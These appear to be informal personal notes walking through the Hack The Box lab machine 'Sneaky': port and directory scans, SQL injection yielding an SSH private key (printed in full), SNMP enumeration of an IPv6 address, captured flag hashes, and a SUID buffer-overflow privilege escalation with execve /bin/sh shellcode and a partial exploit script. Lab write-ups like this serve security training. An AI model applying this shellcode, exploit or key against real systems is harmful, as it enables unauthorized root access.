Lin: Sneaky

Enumeration through SNMP and has a **beginner level buffer overflow** vulnerability which can be leveraged for privilege escalation.

nmap cheat sheet
https://www.stationx.net/nmap-cheat-sheet/

nmap -sS -sU -T4 -A -oA nmapscan 10.10.10.20

gobuster dir -u http://10.10.10.20/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20| tee gobuster

we find /dev
sql inject on admin
we get this key and user name

thrasivoulos

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5
Lc4V+rY81lS4cWUx/EsnPrUyECJTtVXG1vayffJlSugpon49LLqABZbyQzc4GgBr
3mi0MyfiGRh/Xr4L0+SwYdylkuX72E7rLkkigSt4s/zXp5dJmL2RBZDJf1Qh6Ugb
yDxG2ER49/wbdet8BKZ9EG7krGHgta4mfqrBbZiSBG1ST61VFC+G6v6GJQjC02cn
cb+zfPcTvcP0t63kdEreQbdASYK6/e7Iih/5eBy3i8YoNJd6Wr8/qVtmB+FuxcFj
oOqS9z0+G2keBfFlQzHttLr3mh70tgSA0fMKMwlDAQABAoIBAA23XOUYFAGAz7wa
Nyp/9CsaxMHfpdPD87uCTlSETfLaJ2pZsgtbv4aAQGvAm91GXVkTztYi6W34P6CR
h6rDHXI76PjeXV73z9J1+aHuMMelswFX9Huflyt7AlGV0G/8U/lcx1tiWfUNkLdC
CphCICnFEK3mc3Mqa+GUJ3iC58vAHAVUPIX/cUcblPDdOmxvazpnP4PW1rEpW8cT
OtsoA6quuPRn9O4vxDlaCdMYXfycNg6Uso0stD55tVTHcOz5MXIHh2rRKpl4817a
l0wXr9nY7hr+ZzrN0xy5beZRqEldaDnQG6qBJFeAOi2d7RSnSU6qH08wOPQnsmcB
JkQxeUkCgYEA3RBR/0MJErfUb0+vJgBCwhfjd0x094mfmovecpllUoiP9Aqh77iz
5Kn4ABSCsfmiYf6kN8hhOzPAieARf5wbYhdjC0cxph7nI8P3Y6P9SrY3iFzQcpHY
ChzLrzkvV4wO+THz+QVLgmX3Yp1lmBYOSFwlirt/MmoSaASbqpwhPSUCgYEA2uym
+jZ9l84gdmLk7Z4LznJcvA54GBk6ESnPmUd8BArcYbla5jdSCNL4vfX3+ZaUsmgu
7Z9lLVVv1SjCdpfFM79SqyxzwmclXuwknC2iHtHKDW5aiUMTG3io23K58VDS0VwC
GR4wYcZF0iH/t4tn02qqOPaRGJAB3BD/B8bRxncCgYBI7hpvITl8EGOoOVyqJ8ne
aK0lbXblN2UNQnmnywP+HomHVH6qLIBEvwJPXHTlrFqzA6Q/tv7E3kT195MuS10J
VnfZf6pUiLtupDcYi0CEBmt5tE0cjxr78xYLf80rj8xcz+sSS3nm0ib0RMMAkr4x
hxNWWZcUFcRuxp5ogcvBdQKBgQDB/AYtGhGJbO1Y2WJOpseBY9aGEDAb8maAhNLd
1/iswE7tDMfdzFEVXpNoB0Z2UxZpS2WhyqZlWBoi/93oJa1on/QJlvbv4GO9y3LZ
LJpFwtDNu+XfUJ7irbS51tuqV1qmhmeZiCWIzZ5ahyPGqHEUZaR1mw2QfTlYpLrG
UkbZGwKBgGMjAQBfLX0tpRCPyDNaLebFEmw4ylhB78ElGv6U1oY5qRE04kjHm1k/
Hu+up36u92YlaT7Yk+fsk/k+IvCPum99pF3QR5SGIkZGIxczy7luxyxqDy3UfG31
rOgybvKIVYntsE6raXfnYsEcvfbaE0BsREpcOGYpsE+i7xCRqdLb
-----END RSA PRIVATE KEY-----

but no ssh on the target

SNMP Enumeration

Simple Network Management Protocol (SNMP) is a way for different devices on a network to

share information with one another. It allows devices to communicate even if the devices are different hardware and run different software.

Link for snmp
https://www.helpsystems.com/resources/articles/snmp-basics-what-it-and-how-it-works
link for snmpwalk
https://www.comparitech.com/net-admin/snmpwalk-examples-windows-linux/#Snmpwalk_Parameters_and_Options_in_Windows_and_Linux

snmpwalk -v1 -c public 10.10.10.20 | tee smnpwalk

cat snmpwalk | grep -i mib
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."

we see another ipv6 address availble

snmpwalk -Os -c public -v 1 10.10.10.20 | tee smnpwalk

snmpwalk -c public -v2c 10.10.10.20 ipAddressTable > iptables

snmpwalk -c public -v2c 10.10.10.20 -O xv | tee smnpwalk3

ssh -i ssh.key -6 thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:ed

~~~~~~
~~~~~~

IPPSEC

he explains Ipv6 in details in the video
(u didnot write all the information so u can go rewatch it)

ipv6 samples from our ifconfig
128 bit long
FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF
dead:beef:2::1007
fe80::dbae:60da:62ed:1603

Types of Ipv6 --> 3 types

fe80::/10 Unique Local-Link (169.254.x.x)
fc00::/7 Unique Local-Unicast (10.x.x.x , 172.16.x.x)
2000::/3 Global-Unicast (All routable addresses)
ff02::1 Multicast All nodes
ff02::2 Multicast Router nodes

uninteded solution

go to any machine u exploited and login as root
now we want to get the ipv6 of sneakybox

take the ipv6 (link local address) and the mac address
as this is how ipv6 is taken (inverting some bits of the mac and leaving some)

get mac address of sneaky by
1 - ping sneaky
2 - arp-n

to check run

ping6 <IPv6addr>%enterface --> u get interface from the apr-n

note this is the link local address no the routable one so u cannot connect from outside the network

another way is to ping the multicast address

1- ip -6 neigh
2- ping the multicast address (from the previous step
ping 6 -I <multicast address>
3- ip -6 neigh --> u get all neighbours ip addresses

Intended Solution :
1- run nmap on udp
nmap -sU -sC -oA 10.10.10.20

2- nmap told us that smnp is public version
but we can use a tool called onesixtyone to brute force the version

to get the ipv6 run
snmpwalk -v2c -c public 10.10.10.20 1.3.6.1.2.1.4.34.1.3
root@kali:~/htb/sneaky# snmpwalk -v2c -c public 10.10.10.20 1.3.6.1.2.1.4.34.1.3
iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.20 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.255 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.1.4.127.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.34.1.3.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.34.1.3.2.16.**222.173.190.239.0.0.0.0.2.80.86.255.254.185.237.208** = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.2.16.254.128.0.0.0.0.0.2.80.86.255.254.185.237.208 = INTEGER: 2

222.173.190.239.0.0.0.0.2.80.86.255.254.185.237.208 --> the ipv6 address in decimal format

use this to convert to hex
https://www.binaryhexconverter.com/decimal-to-hex-converter
222 =DE
173 = AD
190 = BE
239 = EF
0 = 0
0 = 0

0 = 0
0 = 0
2 = 2
80 = 50
86 = 56
255 = FF
254 = FE
185 = B9
237 = ED
208 = D0

DE AD BE EF 0 0 0 0 2 50 56 FF FE B9 ED D0

easy way is to install

apt install snmp-mibs-downloader
nano /etc/snmp/snmp.conf

snmpwalk -v2c -c public 10.10.10.20 1.3.6.1.2.1.4.34.1.3
IP-MIB::ipAddressIfIndex.ipv4."10.10.10.20" = INTEGER: 2
IP-MIB::ipAddressIfIndex.ipv4."10.10.10.255" = INTEGER: 2
IP-MIB::ipAddressIfIndex.ipv4."127.0.0.1" = INTEGER: 1
IP-MIB::ipAddressIfIndex.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01" = INTEGER: 1
IP-MIB::ipAddressIfIndex.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:b9:ed:d0" = INTEGER: 2
IP-MIB::ipAddressIfIndex.ipv6."fe:80:00:00:00:00:00:00:02:50:56:ff:fe:b9:ed:d0" = INTEGER: 2

ipv6 address is
dead:beef:0000:0000:0250:56ff:feb9:edd0

ssh -i ssh.key -6 thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:edd0
due to bad permission
chmod 400 ssh.key

9fe14f76222db23a770f20136751bdab

another tool is enyx.py
but kill the mips that you downloaded

Priv Esc :

buffer overflow enumeration

find / -perm -4000 2>/dev/null

bin/umount
/bin/su
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/usr/local/bin/chal
/usr/sbin/uuidd

/usr/sbin/pppd
/usr/bin/at
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device

we use
usr/local/bin/chal

get it to ur local machine
nc -nlvp 8081 > shell chal.b64
base64 /usr/local/bin/chal | nc 10.10.14.9 8081

base64 -d chal.b64 > chal

apt install checksec

checksec chal

root@kali:~/htb/sneaky# checksec --file=chal
RELRO   STACK CANARY   NX   PIE   RPATH   RUNPATH Symbols
FORTIFY   Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX disabled   No PIE   No RPATH   No RUNPATH   67
Symbols   No   0   1   chal

we find all disabled ?? so it makes it easy to exploit
32 bits architectire --> execute on the sneaky

thrasivoulos@Sneaky:~$ /usr/local/bin/chal
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)

this indicates a buffer overflow

root@kali:~/htb/sneaky# locate pattern_create
/usr/bin/msf-pattern_create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb

we use theis pattern_create.rb   ->> to create a pattern

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3
Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7
Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2
Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9A
k0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4A
m5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao
8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

thrasivoulos@Sneaky:~$ /usr/local/bin/chal
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3
Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7
Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2
Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9A
k0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4A
m5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao
8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Segmentation fault (core dumped)

thrasivoulos@Sneaky:~$ gdb /usr/local/bin/chal

(gdb) r
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3
Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7
Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2
Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9A
k0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4A
m5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao
8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Starting program: /usr/local/bin/chal
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3
Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7
Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2
Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9A
k0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4A
m5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao
8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Program received signal SIGSEGV, Segmentation fault.
0x316d4130 in ?? ()
(gdb)

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q **0x316d4130**
[*] Exact match at offset 362

go to google
search packetstorm /bin/sh shellcode
https://packetstormsecurity.com/files/115010/Linux-x86-execve-bin-sh-Shellcode.html
get
```
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";
```

nano exploit.py (anywhere)
paste this

```
BUF_SIZE=362
SHELL_CODE = "\x31\xc0\x50\x68\x2f\x2f\x73"
SHELL_CODE += "\x68\x68\x2f\x62\x69\x6e\x89"
SHELL_CODE += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
SHELL_CODE += "\xcd\x80\x31\xc0\x40\xcd\x80"
NOP_SLED = "\x90"*(BUF_SIZE-len(SHELL_CODE))

EIP = ?

payload = NOP_SLED + SHELL_CODE + EIP
```

go to gdb

```
(gdb) r $(python -c 'print "A"*400')
Starting program: /usr/local/bin/chal $(python -c 'print "A"*400')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) x/100x $esp-400
0xbffff3b0: 0xbffff3d2  0x00000000      0x00000000      0x08048441
0xbffff3c0: 0xbffff3d2  0xbffff712  0x0804821d      0xb7fffc24
0xbffff3d0: 0x414118fc 0x41414141      0x41414141      0x41414141
0xbffff3e0: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff3f0: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff400: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff410: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff420: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff430: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff440: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff450: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff460: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff470: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff480: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff490: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4a0: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4b0: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4c0:      0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4d0: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4e0: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4f0: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff500: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff510: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff520: 0x41414141      0x41414141      0x41414141      0x41414141
0xbffff530: 0x41414141      0x41414141      0x41414141      0x41414141
EIP = "\xc0\xf4\xff\xbf" #bffff4c0"
```

tooo complicated !!!!!!!!

we tried this but didnot work

```
/usr/local/bin/chal $(python -c "print '\x90'*334 +
'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\
```

x cd\x80\x31\xc0\x40\xcd\x80' + '\xb0\xf7\xff\xbf' ")

did not work
we used this writeup

https://chickenpwny.github.io/hackthebox/boxes/sneaky/

c5153d86cb175a9d5d9a5cc81736fb33